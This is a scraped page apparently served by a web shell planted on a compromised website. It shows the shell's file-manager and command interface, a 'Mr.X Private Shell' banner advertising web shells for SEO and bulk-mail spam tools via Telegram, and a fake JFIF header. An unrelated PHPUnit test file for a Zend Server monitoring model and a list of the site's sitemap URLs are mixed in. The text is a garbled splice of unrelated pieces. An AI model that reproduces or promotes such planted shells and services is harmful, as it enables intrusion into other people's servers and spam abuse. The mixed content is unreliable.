xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace MonitorUi\Model;

use ZendServer\PHPUnit\TestCase;
use PHPUnit_Framework_TestCase,
    MonitorUi\Filter\Container,
    ZendServer\Exception;
use ZendServer\Set;
use Issue\Db\Mapper;
use Deployment\IdentityFilterSimple;
use ZendServer\Db\Adapter\Platform\NullPlatform;

require_once 'tests/bootstrap.php';

class ModelTest extends TestCase
{
    /**
     * @var Model
     */
    private $model;

    public function testGetIssuesCount()
    {

        $tableGateway = $this->model->getIssueMapper()->getTableGateway();
        $tableGateway->expects($this->any())
            ->method('selectWith')
            ->will($this->returnValue(array(array('total' => 7))));

        $tableGateway->expects($this->any())
            ->method('getTable')
            ->will($this->returnValue('issues'));

        self::assertEquals(7, $this->model->getIssuesCount(array()));
    }

    public function testGetIssuesCountException()
    {
        $tableGateway = $this->model->getIssueMapper()->getTableGateway();
        $tableGateway->expects($this->any())
            ->method('selectWith')
            ->will($this->throwException(new Exception('This is some exception', 5)));

        $tableGateway->expects($this->any())
            ->method('getTable')
            ->will($this->returnValue('issues'));

        try {
            $this->model->getIssuesCount(array());
        } catch (Exception $e) {
            self::assertContains('This is some exception', $e->getMessage());
        }
    }

    public function testGetIssues()
    {

        $expectedLimit = array(
            ZM_LIMITS_FIRST_ITEM => 2,
            ZM_LIMITS_NUM_OF_ITEMS => 7
        );

        $expectedSortby = array(
            ZM_SORTBY_DATA => ZM_DATA_LAST_TIMESTAMP,
            ZM_SORTBY_ORDER_ASC => true
        );

        $tableGateway = $this->model->getIssueMapper()->getTableGateway();

        $tableGateway->expects($this->any())
            ->method('selectWith')
            ->will($this->returnValue(array()));

        $tableGateway->expects($this->any())
            ->method('getTable')
            ->will($this->returnValue('issues'));

        // ok if no exception thrown
        $this->model->getIssues(array(), 7, 2, 'date', 'ASC');
    }

    protected function setUp()
    {
        $this->model = new Model();

        $tableGateway = $this->getMock('Zend\Db\TableGateway\TableGateway', array(), array(), '', false);

        $identityFilter = $this->getMock('Deployment\IdentityFilterSimple');
        $identityFilter->expects($this->once())->method('filterAppIds')->will($this->returnValue(array(-1)));
        $identityFilter->expects($this->once())->method('setAddGlobalAppId');

        $mapper = new Mapper($tableGateway);
        $mapper->setIdentityFilter($identityFilter);
        $mapper->setPlatform(new NullPlatform());
        $this->model->setIssueMapper($mapper);
    }
}

Filemanager

Name Type Size Permission Actions
ModelPHPUnitDbTest.php File 3.35 KB 0644
ModelTest.php File 2.84 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml